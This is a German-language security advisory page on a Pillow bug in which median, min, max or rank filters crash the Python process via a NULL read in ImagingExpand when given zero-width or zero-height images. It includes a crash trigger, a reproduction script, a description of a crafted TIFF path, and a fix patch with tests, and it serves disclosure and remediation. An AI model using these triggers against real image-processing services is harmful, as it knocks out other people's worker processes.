Hoch

Pillow: NULL-Zeiger-Dereferenzierung in ImagingExpand über Rangfilter bei Bildern mit der Größe Null

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 10:00
============================================================================
NULL dereference in ImagingExpand via rank filters on zero-size images
Location: src/libImaging/Filter.c:79  in ImagingExpand()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Die Anwendung der Median-, Minimum-, Maximum- oder Rangfilter von Pillow auf ein Bild mit einer Breite oder Höhe von null führt zum Absturz des gesamten Python-Prozesses, anstatt eine Exception auszulösen. Solche leeren Bilder können durch alltägliche Aufrufe erzeugt werden, beispielsweise über eine Crop-Box, deren linke und rechte Kanten (oder obere und untere Kanten) identisch sind, oder über die zweite Seite einer speziell präparierten mehrseitigen Bilddatei. Ein Angreifer, der Schnittkoordinaten oder manipulierte Dateien an eine Anwendung übergibt, die einen dieser Filter ausführt, kann den entsprechenden Worker-Prozess beenden. Die Auswirkung beschränkt sich auf einen Absturz; es kommt zu keiner Offenlegung oder Beschädigung von Speicherbereichen.

Die Ursache liegt in ImagingExpand() in src/libImaging/Filter.c. Hierbei handelt es sich um den Schritt zum Auffüllen der Ränder (Edge-Padding), den RankFilter.filter() stets über die Kernmethode expand() ausführt, weshalb auch MedianFilter, MinFilter und MaxFilter diesen Codepfad durchlaufen. Die Ränder werden durch das Kopieren der Randpixel der Eingabe gefüllt, wobei imIn->image[y][0] und die Zeilen 0 / ysize-1 gelesen werden, ohne zu prüfen, ob die Eingabe überhaupt Pixel enthält. Bei einem leeren Bild belässt ImagingAllocateArray die Zeilenzeiger auf NULL, sodass der erste Lesezugriff NULL dereferenziert und der Prozess in jedem Modus mit SIGSEGV abbricht.

Bilder der Größe Null gelangen allein über die öffentliche API an diese Stelle:

  • Image.crop(), ImageOps.crop() und Image.new();
  • ein mehrseitiges TIFF, das per Pfad geöffnet wird und dessen zweites IFD ImageLength = 0 deklariert, woraufhin seek(1) und load() erfolgreich durchlaufen.

Jeder andere ImageFilter liefert für dieselben Eingaben ein leeres Bild zurück. Der Fall mit einer Höhe von null stürzt seit dem ursprünglichen PIL-Import ab, der Fall mit einer Breite von null seit Pillow 4.3.0. Dies ist unabhängig von dem margin == 0-Fix in #9755: Der Pfad ist derselbe, aber hier ist der degenerierte Wert die Bildgröße und nicht die Kernelgröße. Es entspricht strukturell dem Absturz bei Nulldimensionen in ImagingOffset, der unter GHSA-f87v-9578-p47w behoben wurde.

Ein Reproduktionsskript zeigt, dass ein Kontroll-Zuschnitt mit einem Pixel Breite normal gefiltert wird, während vier leere Bildausschnitte bei Übergabe an die Rangfilter jeweils durch SIGSEGV beendet werden. Ein Patch für eine vorzeitige Rückgabe in ImagingExpand bei leeren Eingaben ist enthalten.

Details

ImagingExpand() (src/libImaging/Filter.c), die Hilfsfunktion für das Edge-Padding, die ImageFilter.RankFilter vor dem eigentlichen Rangfilter aufruft, liest das erste Pixel jeder Eingabezeile, ohne zu überprüfen, ob Pixel vorhanden sind. Bei einem Bild mit der Breite 0 oder Höhe 0 sind die Zeilenzeiger NULL, weshalb Image.filter() mit MedianFilter, MinFilter, MaxFilter oder RankFilter den Interpreter mit SIGSEGV beendet, anstatt ein Ergebnis zurückzugeben oder einen Fehler auszulösen:

python
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop((3, 0, 3, 10))   # size (0, 10); crop() accepts left == right
im.filter(ImageFilter.MedianFilter(3))               # SIGSEGV

Unter gdb im Standard-Build tritt der Fehler bei ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105 (der EXPAND(UINT8, image8)-Erweiterung) auf, aufgerufen von _expand_image bei src/_imaging.c:1151, mit imIn->xsize = 0 und imIn->image[0] = 0x0. Dasselbe geschieht bei jedem Modus, den die Rangfilter unterstützen (L, RGB, RGBA, I, F), und die Kernmethode expand(m) mit m >= 1 stürzt in jedem Modus gleichermaßen ab, einschließlich P. Dieselbe Eingabe über BoxBlur, GaussianBlur, Kernel, ModeFilter und UnsharpMask gibt ein Bild der Größe (0, 10) zurück; ein Zuschnitt der Größe (1, 10) durch MedianFilter kehrt ebenfalls normal zurück.

Die ungeprüften Randlesezugriffe stammen aus dem PIL-Import (9a640e315, 2010, somit in jedem Pillow-Release): Der Fall mit der Höhe null stürzt seitdem ab, und der Fall mit der Breite null seit fd907fbdc ("Fix 0-width and 0-height images other way", Pillow 4.3.0), wodurch Bilder mit der Breite null nicht mehr durch einen Dummy-Block gestützt wurden und ihre Zeilenzeiger NULL blieben. Dies grenzt an die Behebung der Division durch Null in margin == 0 in #9755 an – derselbe Pfad von expand() zu ImagingExpand(), jedoch ist der nicht behandelte degenerierte Wert hier die Bildgröße und nicht die Kernelgröße.

Der Pfad:

python
# src/PIL/ImageFilter.py:111-116   RankFilter.filter  (MedianFilter/MinFilter/MaxFilter subclass it)
        image = image.expand(self.size // 2)
        return image.rankfilter(self.size, self.rank)

expand(m) mit m > 0 entspricht ImagingExpand(self->image, m) (src/_imaging.c:1142-1151). Es validiert lediglich margin, allokiert eine Ausgabe von (xsize+2*margin) × (ysize+2*margin) – die nicht leer ist, sodass die Allokation erfolgreich ist – und füllt anschließend den Rand durch Duplizieren der Randpixel der Eingabe:

c
// src/libImaging/Filter.c:70-101
    imOut =
        ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
    …
#define EXPAND_LINE(type, image, yin, yout)                       \
    {                                                             \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][x] = imIn->image[yin][0];          \   // line 79
        }                                                         \
        …                                                         \
        for (x = 0; x < margin; x++) {                            \
            imOut->image[yout][margin + imIn->xsize + x] =        \
                imIn->image[yin][imIn->xsize - 1];                \   // [-1] when xsize == 0
        }                                                         \
    }

#define EXPAND(type, image)                                                      \
    {                                                                            \
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, 0, y);                                      \   // line 0 of a 0-line image
        }                                                                        \
        …
        for (y = 0; y < margin; y++) {                                           \
            EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \   // line -1 when ysize == 0
        }                                                                        \
    }

Warum die Zeilenzeiger NULL sind: ImagingNewPrologueSubtype reserviert über calloc das Zeiger-Array im->image (src/libImaging/Storage.c:216, mindestens ein Eintrag), und ImagingAllocateArray kehrt zurück, bevor für ein leeres Bild Werte zugewiesen werden:

c
// src/libImaging/Storage.c:423-426
    /* 0-width or 0-height image. No need to do anything */
    if (!im->linesize || !im->ysize) {
        return im;
    }

Folglich ist bei xsize == 0 jedes imIn->image[y] NULL und imIn->image[yin][0] führt zu einem Speicherzugriffsfehler; bei ysize == 0 liest der Durchlauf für den oberen Rand imIn->image[0] (den einzelnen per calloc erstellten NULL-Eintrag) und schlägt auf dieselbe Weise fehl, während der Durchlauf für den unteren Rand imIn->image[-1] indizieren würde. ImagingRankFilter wird niemals erreicht.

Bilder mit einer Größe von null sind gewöhnliche Objekte in Pillow und erreichen filter() ausschließlich über die öffentliche API:

  • Image.crop(box) weist nur invertierte Boxen ab (src/PIL/Image.py:1385-1390); left == right oder upper == lower erzeugt ein Bild der Größe 0×N bzw. N×0. ImageOps.crop(im, border) mit border == width // 2 sowie Image.new(mode, (0, n)) verhalten sich genauso.
  • Aus einer Datei: ImageFile.__init__ verweigert eine Frame-Größe von null für das erste Bild (src/PIL/ImageFile.py:167-173), aber TiffImagePlugin._setup() übernimmt ImageWidth/ImageLength jedes nachfolgenden IFD unverändert bei seek() (src/PIL/TiffImagePlugin.py:1468-1481). Für eine unkomprimierte Seite eines über den Pfad geöffneten Bildes wählt ImageFile.load() den mmap-Zweig (src/PIL/ImageFile.py:307, 325-347) und Image.core.map_buffer erstellt fehlerfrei ein Kernbild 8×0 (src/map.c:127-141), sodass im.seek(1); im.load() erfolgreich ist und ein nachfolgendes im.filter(ImageFilter.MedianFilter(3)) genau wie oben in ImagingExpand segfaultet (unter gdb verifiziert: imIn->ysize = 0, imIn->image[0] = 0x0). Eine zweiseitige TIFF-Datei mit einer Größe von 384 Bytes reicht aus.

Auswirkungen

Denial of Service: Der gesamte einbettende Prozess (Web-Worker, Pipeline-Prozess) stürzt mit SIGSEGV ab, anstatt dass die Anfrage mit einer Python-Exception fehlschlägt. Dies ist für entfernte Angreifer über zwei realistische Wege erreichbar: (a) eine Anwendung, die einen Upload anhand von benutzerdefinierten Koordinaten zuschneidet und anschließend einen Median-/Min-/Max-Filter anwendet – eine Box mit x0 == x1 oder y0 == y1 passiert crop() und bringt den Worker zum Absturz; (b) eine Anwendung, die ein hochgeladenes TIFF über den Pfad von der Festplatte öffnet, die Seiten iteriert und auf jede einen Rangfilter anwendet – ein manipuliertes zweites IFD mit ImageLength = 0 führt zum Absturz. Der fehlerhafte Zugriff ist ein Lesezugriff auf Adresse 0 (oder ein fester, kleiner negativer Offset vom Zeiger-Array für die [-1]-Fälle, der nicht erreicht wird, da bereits der erste Zugriff fehlschlägt), sodass über den Absturz hinaus keine Offenlegung oder Korruption des Speichers vorliegt. Ein vergleichbares Problem mit nulldimensionalen Bildern, die C-Code über die öffentliche API zum Absturz brachten, wurde in ImagingOffset in 39d14a0db behoben (GHSA-f87v-9578-p47w).

Reproduktion

repro ist ein Python-Skript, welches das installierte Pillow unverändert verwendet (ohne Rebuild). Es führt jeden Fall in einem neuen Kindprozess-Interpreter aus, wobei Core-Dumps deaktiviert sind. Dadurch wird ein Segfault als Exit-Status des Kindprozesses sichtbar, während das Skript selbst weiterläuft. Jeder Kindprozess erstellt Image.new("L", (10, 10)).crop(box), gibt die Größe aus, ruft im.filter(...) auf und gibt danach die Größe des Ergebnisses aus.

  • Kontrolle: ein (1, 10)-Zuschnitt ((3, 0, 4, 10)) durch MedianFilter(3). Der Rangfilter akzeptiert ein dünnes Bild und muss regulär zurückkehren.
  • PoC: die Rangfilter auf leeren Zuschnitten.
    • Ein (0, 10)-Zuschnitt (left == right, (3, 0, 3, 10)) durch MedianFilter(3) und MaxFilter(5).
    • Ein (10, 0)-Zuschnitt (upper == lower, (0, 3, 10, 3)) durch MinFilter(3).
    • Ein (0, 0)-Zuschnitt ((3, 3, 3, 3)) durch RankFilter(3, 4).

Erwartete Ausgabe auf dem Standard-Build:

  crop(3, 0, 4, 10)    MedianFilter(3)    (1, 10) -> (1, 10)
  crop(3, 0, 3, 10)    MedianFilter(3)    (0, 10) -> killed by SIGSEGV
  crop(3, 0, 3, 10)    MaxFilter(5)       (0, 10) -> killed by SIGSEGV
  crop(0, 3, 10, 3)    MinFilter(3)       (10, 0) -> killed by SIGSEGV
  crop(3, 3, 3, 3)     RankFilter(3, 4)   (0, 0) -> killed by SIGSEGV
BUG

Die vor -> ausgegebene Größe belegt, dass das leere Bild fehlerfrei erzeugt wurde. Der Absturz erfolgt innerhalb von filter() in ImagingExpand. Die letzte Zeile lautet BUG, wenn die Kontrolle normal beendet wurde und mindestens ein Kindprozess mit Rangfilter durch SIGSEGV beendet wurde; andernfalls lautet sie OK. Das Skript deckt nur den Zuschnitt-Weg ab; der oben beschriebene TIFF-Weg schlägt auf dieselbe Weise fehl (im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3)) auf einem per Pfad geöffneten zweiseitigen TIFF, dessen zweites IFD ImageLength = 0 aufweist). Mit dem vorgeschlagenen Patch gibt jede PoC-Zeile die unveränderte Größe aus (beispielsweise (0, 10) -> (0, 10)) und das Skript liefert OK.

Vorgeschlagene Behebung

Der vorgeschlagene Patch behandelt leere Eingaben in ImagingExpand (src/libImaging/Filter.c) unmittelbar nach den Prüfungen von margin und vor der Allokation von ImagingNewDirty sowie den Replikationsschleifen. Mit xsize == 0 oder ysize == 0 gibt es keine Randpixel zum Replizieren, daher gibt die Funktion ein ausgenulltes (ImagingNew, nicht ImagingNewDirty) Bild der erweiterten Größe zurück, wobei die Palette der Eingabe kopiert wird. Dadurch bleibt der Größenvertrag von ImagingExpand gewahrt, sodass ImagingRankFilter eine Ausgabe von xsize - 2*margin × ysize - 2*margin erzeugt – also die ursprüngliche leere Größe, analog zu jedem anderen Filter. Dies spiegelt die vorhandenen vorzeitigen Rückgaben für Nulldimensionen in src/libImaging/BoxBlur.c (127004368) und src/libImaging/Offset.c (39d14a0db) wider:

diff
--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {

Der Patch fügt außerdem test_rankfilter_zero_dimension neben test_rankfilter_error in Tests/test_image_filter.py hinzu, welches Image.new("L", size) für size in ((0, 6), (6, 0), (0, 0)) mit MinFilter, MedianFilter, MaxFilter und RankFilter(3, 2) filtert und zusichert, dass die Größe beibehalten wird. Nach Anwendung auf einen sauberen Checkout und erneutem Build gibt der Reproduzierer OK aus und Tests/test_image_filter.py ist erfolgreich. Eine Absicherung auf Python-Ebene in RankFilter.filter (if 0 in image.size: return image.copy()) würde den Absturz ebenfalls verhindern, die Prüfung auf C-Ebene schützt jedoch auch alle anderen Aufrufer von expand().

Der Patch

Rückgabe eines ausgenullten Bildes aus ImagingExpand, wenn die Eingabe eine Breite oder Höhe von null hat, anstelle des Lesens von NULL-Zeilenzeigern

Gilt für src/libImaging/Filter.c beim oben genannten Commit.

diff
diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py
index 974d4b7a3..8dc8e1a1a 100644
--- a/Tests/test_image_filter.py
+++ b/Tests/test_image_filter.py
@@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None:
         im.filter(filter).getpixel((1, 1))
 
 
+@pytest.mark.parametrize(
+    "filter",
+    (
+        ImageFilter.MinFilter,
+        ImageFilter.MedianFilter,
+        ImageFilter.MaxFilter,
+        ImageFilter.RankFilter(3, 2),
+    ),
+)
+@pytest.mark.parametrize("size", ((0, 6), (6, 0), (0, 0)))
+def test_rankfilter_zero_dimension(
+    filter: ImageFilter.RankFilter, size: tuple[int, int]
+) -> None:
+    im = Image.new("L", size)
+    assert im.filter(filter).size == size
+
+
 def test_rankfilter_properties() -> None:
     rankfilter = ImageFilter.RankFilter(3, 2)
 
diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c
index 3492a871f..d702db5f9 100644
--- a/src/libImaging/Filter.c
+++ b/src/libImaging/Filter.c
@@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) {
         return (Imaging)ImagingError_ValueError("filter size too large");
     }
 
+    if (imIn->xsize == 0 || imIn->ysize == 0) {
+        /* No edge pixels to replicate (and no lines to read from), so
+           return a zeroed image of the expanded size */
+        imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
+        if (!imOut) {
+            return NULL;
+        }
+        ImagingCopyPalette(imOut, imIn);
+        return imOut;
+    }
+
     imOut =
         ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin);
     if (!imOut) {

Der Reproduzierer

<details> <summary>Reproducer — <code>repro</code>, 1,333 bytes (klicken zum Öffnen)</summary>

Die letzte Zeile lautet BUG, wenn das Problem auftritt, und OK, wenn es nicht auftritt. Bei einem erneuten Durchlauf auf einem sauberen Build dieses Commits wurde BUG ausgegeben.

python
#!/usr/bin/env python3
# Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image
# SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read.
# Each case runs in a child interpreter; BUG if the control returns and any
# zero-size case dies of SIGSEGV.
import signal, subprocess, sys

CHILD = """
import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
from PIL import Image, ImageFilter
im = Image.new("L", (10, 10)).crop(%s)      # public API; crop accepts x0==x1 / y0==y1
print(im.size, "->", end=" ", flush=True)
print(im.filter(ImageFilter.%s).size)
"""

def run(box, flt):
    p = subprocess.run([sys.executable, "-c", CHILD % (box, flt)],
                       capture_output=True, text=True)
    out = p.stdout.strip()
    if p.returncode < 0:
        out += " killed by " + signal.Signals(-p.returncode).name
    print(f"  crop{box!s:<16} {flt:<18} {out}")
    return p.returncode

ctrl = run((3, 0, 4, 10), "MedianFilter(3)")          # (1,10): must work
rcs = [run((3, 0, 3, 10), "MedianFilter(3)"),        # (0,10)
       run((3, 0, 3, 10), "MaxFilter(5)"),
       run((0, 3, 10, 3), "MinFilter(3)"),           # (10,0)
       run((3, 3, 3, 3), "RankFilter(3, 4)")]        # (0,0)
bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs)
print("BUG" if bug else "OK")
</details>

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-476
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-27h8-gf7j-v5hc - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (89) im Archiv
Einträge insgesamt
89
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 12
  • Hoch 57
  • Mittel 18
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

früher: 12

Schweregrad:
  1. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: NULL-Zeiger-Dereferenzierung in ImagingExpand über Rangfilter bei Bildern mit der Größe Null dieser Eintrag
    Hoch CVE-2026-112392 < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  5. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Mehr anzeigen (20) 20 von 69 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.